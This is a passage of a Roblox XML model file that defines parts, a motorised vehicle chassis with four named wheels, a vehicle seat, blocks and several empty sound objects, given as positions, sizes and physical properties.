				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1003</int>
				<CoordinateFrame name="CFrame">
					<X>189</X>
					<Y>1.60000002</Y>
					<Z>-38.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">800</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>45</X>
					<Y>2.4000001</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1837">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.300000012</float>
				<float name="BottomParamB">0.300000012</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1009</int>
				<CoordinateFrame name="CFrame">
					<X>216.999847</X>
					<Y>1.90052319</Y>
					<Z>-40.9999847</Z>
					<R00>0.999999881</R00>
					<R01>-0.000427252613</R01>
					<R02>6.51945697e-009</R02>
					<R10>0.000427252613</R10>
					<R11>0.999999881</R11>
					<R12>-3.05180438e-005</R12>
					<R20>6.51945697e-009</R20>
					<R21>3.05180438e-005</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">1</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.00118217827</X>
					<Y>0.00220030732</Y>
					<Z>-0.00017520129</Z>
				</Vector3>
				<float name="TopParamA">-0.300000012</float>
				<float name="TopParamB">0.300000012</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.0137239704</X>
					<Y>0.00162577559</Y>
					<Z>0.0087642232</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>4</X>
					<Y>1.20000005</Y>
					<Z>12</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1838">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">la6zj1b</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Model" referent="RBX1839">
			<Properties>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Chassis</string>
				<Ref name="PrimaryPart">null</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Model" referent="RBX1840">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Motor (torque)Chassis</string>
					<Ref name="PrimaryPart">RBX1841</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Part" referent="RBX1841">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.300000012</float>
						<float name="BottomParamB">0.300000012</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1010</int>
						<CoordinateFrame name="CFrame">
							<X>245</X>
							<Y>1.89999998</Y>
							<Z>-7</Z>
							<R00>0</R00>
							<R01>0</R01>
							<R02>1</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>-1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-0.00118217827</X>
							<Y>0.00220030732</Y>
							<Z>-0.00017520129</Z>
						</Vector3>
						<float name="TopParamA">-0.300000012</float>
						<float name="TopParamB">0.300000012</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0.014109497</X>
							<Y>0.00162590353</Y>
							<Z>0.00616447208</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>4</X>
							<Y>1.20000005</Y>
							<Z>12</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX1842">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">8b2ksh</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX1843">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1010</int>
						<CoordinateFrame name="CFrame">
							<X>241.000183</X>
							<Y>2.39298081</Y>
							<Z>-11.0039301</Z>
							<R00>-0.00031431095</R00>
							<R01>-0.177208081</R01>
							<R02>0.984173357</R02>
							<R10>-0.00177297369</R10>
							<R11>0.984171987</R11>
							<R12>0.177207261</R12>
							<R20>-0.999998391</R20>
							<R21>-0.00168921566</R21>
							<R22>-0.000623520929</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">1</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">0.300000012</float>
						<float name="LeftParamB">0.300000012</float>
						<token name="LeftSurface">6</token>
						<token name="LeftSurfaceInput">2</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Right Front</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>3.74575639</X>
							<Y>0.486661077</Y>
							<Z>0.0648370758</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0.263333112</X>
							<Y>0.0946702883</Y>
							<Z>32.4965134</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">2</token>
						<Vector3 name="size">
							<X>4</X>
							<Y>4</Y>
							<Z>4</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX1844">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">y398sd</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX1845">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1010</int>
						<CoordinateFrame name="CFrame">
							<X>241.014969</X>
							<Y>2.40358615</Y>
							<Z>-3.01242566</Z>
							<R00>-0.0143273519</R00>
							<R01>-0.858820975</R01>
							<R02>0.512075424</R02>
							<R10>0.00416300725</R10>
							<R11>0.512072265</R11>
							<R12>0.858932257</R12>
							<R20>-0.999888718</R20>
							<R21>0.0144380098</R21>
							<R22>-0.00376135902</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">1</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Left Front</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">0.300000012</float>
						<float name="RightParamB">0.300000012</float>
						<token name="RightSurface">6</token>
						<token name="RightSurfaceInput">1</token>
						<Vector3 name="RotVelocity">
							<X>11.2204342</X>
							<Y>-20.6715221</Y>
							<Z>6.46880627</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>19.45821</X>
							<Y>0.738859534</Y>
							<Z>-7.36660671</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">2</token>
						<Vector3 name="size">
							<X>4</X>
							<Y>4</Y>
							<Z>4</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX1846">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">k2n5e8c</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX1847">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1010</int>
						<CoordinateFrame name="CFrame">
							<X>249.000107</X>
							<Y>2.39288259</Y>
							<Z>-11.0039558</Z>
							<R00>5.58487227e-005</R00>
							<R01>-0.391962677</R01>
							<R02>0.919981062</R02>
							<R10>-0.00177347451</R10>
							<R11>0.919979632</R11>
							<R12>0.391962141</R12>
							<R20>-0.999998331</R20>
							<R21>-0.00165343424</R21>
							<R22>-0.00064375333</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">1</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">0.300000012</float>
						<float name="LeftParamB">0.300000012</float>
						<token name="LeftSurface">6</token>
						<token name="LeftSurfaceInput">2</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Right Rear</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>3.81980562</X>
							<Y>-0.050969027</Y>
							<Z>-0.00311456132</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>-0.0400987193</X>
							<Y>0.0803037658</Y>
							<Z>32.7102242</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">2</token>
						<Vector3 name="size">
							<X>4</X>
							<Y>4</Y>
							<Z>4</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX1848">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">c6ouqz</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX1849">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1010</int>
						<CoordinateFrame name="CFrame">
							<X>249.000076</X>
							<Y>2.39821005</Y>
							<Z>-3.00043607</Z>
							<R00>7.18937226e-005</R00>
							<R01>-0.458747536</R01>
							<R02>0.888566732</R02>
							<R10>0.000790110556</R10>
							<R11>0.888566375</R11>
							<R12>0.458747357</R12>
							<R20>-0.999999762</R20>
							<R21>0.000669062196</R21>
							<R22>0.000426338898</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">1</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Left Rear</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">0.300000012</float>
						<float name="RightParamB">0.300000012</float>
						<token name="RightSurface">6</token>
						<token name="RightSurfaceInput">1</token>
						<Vector3 name="RotVelocity">
							<X>0.422330558</X>
							<Y>-0.0825624019</Y>
							<Z>-0.0101956753</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0.0663895756</X>
							<Y>0.282226682</Y>
							<Z>0.0892905146</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">2</token>
						<Vector3 name="size">
							<X>4</X>
							<Y>4</Y>
							<Z>4</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX1850">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">281hws43</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX1851">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">111wbbtz</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="VehicleSeat" referent="RBX1852">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">208</int>
					<CoordinateFrame name="CFrame">
						<X>245</X>
						<Y>3</Y>
						<Z>-7</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<bool name="HeadsUpDisplay">true</bool>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<float name="MaxSpeed">22</float>
					<string name="Name">VehicleSeat</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>-0.00118217827</X>
						<Y>0.00220030732</Y>
						<Z>-0.00017520129</Z>
					</Vector3>
					<int name="Steer">0</int>
					<int name="Throttle">0</int>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Torque">10</float>
					<float name="Transparency">0</float>
					<float name="TurnSpeed">1</float>
					<Vector3 name="Velocity">
						<X>0.0143022183</X>
						<Y>0.00162590353</Y>
						<Z>0.00486407615</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>1</Y>
						<Z>2</Z>
					</Vector3>
				</Properties>
				<Item class="StockSound" referent="RBX1853">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">9vssb36tj</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1854">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1010</int>
				<CoordinateFrame name="CFrame">
					<X>241.500031</X>
					<Y>3.09935284</Y>
					<Z>-7.00096416</Z>
					<R00>-1.00000012</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>0.99999994</R11>
					<R12>-0.000366216525</R12>
					<R20>-0</R20>
					<R21>-0.000366216525</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>5</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1855">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1010</int>
				<CoordinateFrame name="CFrame">
					<X>245</X>
					<Y>4.30000019</Y>
					<Z>-5.5</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>12</X>
					<Y>1.20000005</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1856">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1010</int>
				<CoordinateFrame name="CFrame">
					<X>245</X>
					<Y>3.10000014</Y>
					<Z>-5.5</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1857">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1004</int>
				<CoordinateFrame name="CFrame">
					<X>207.999908</X>
					<Y>1.40629745</Y>
					<Z>-33.9992218</Z>
					<R00>-0.999969006</R00>
					<R01>-0.00424820418</R01>
					<R02>0.00663452363</R02>
					<R10>-0.00423803646</R10>
					<R11>0.999989808</R11>
					<R12>0.00154584623</R12>
					<R20>-0.00664102333</R20>
					<R21>0.00151768094</R21>
					<R22>-0.999976814</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">0</token>
				<float name="Friction">1</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Wheel</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">0.300000012</float>
				<float name="RightParamB">0.300000012</float>
				<token name="RightSurface">6</token>
				<token name="RightSurfaceInput">1</token>
				<Vector3 name="RotVelocity">
					<X>0.928908885</X>
					<Y>-13.1216021</Y>
					<Z>-8.09654617</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>1.55042648</X>
					<Y>3.77850056</Y>
					<Z>-2.18951201</Z>
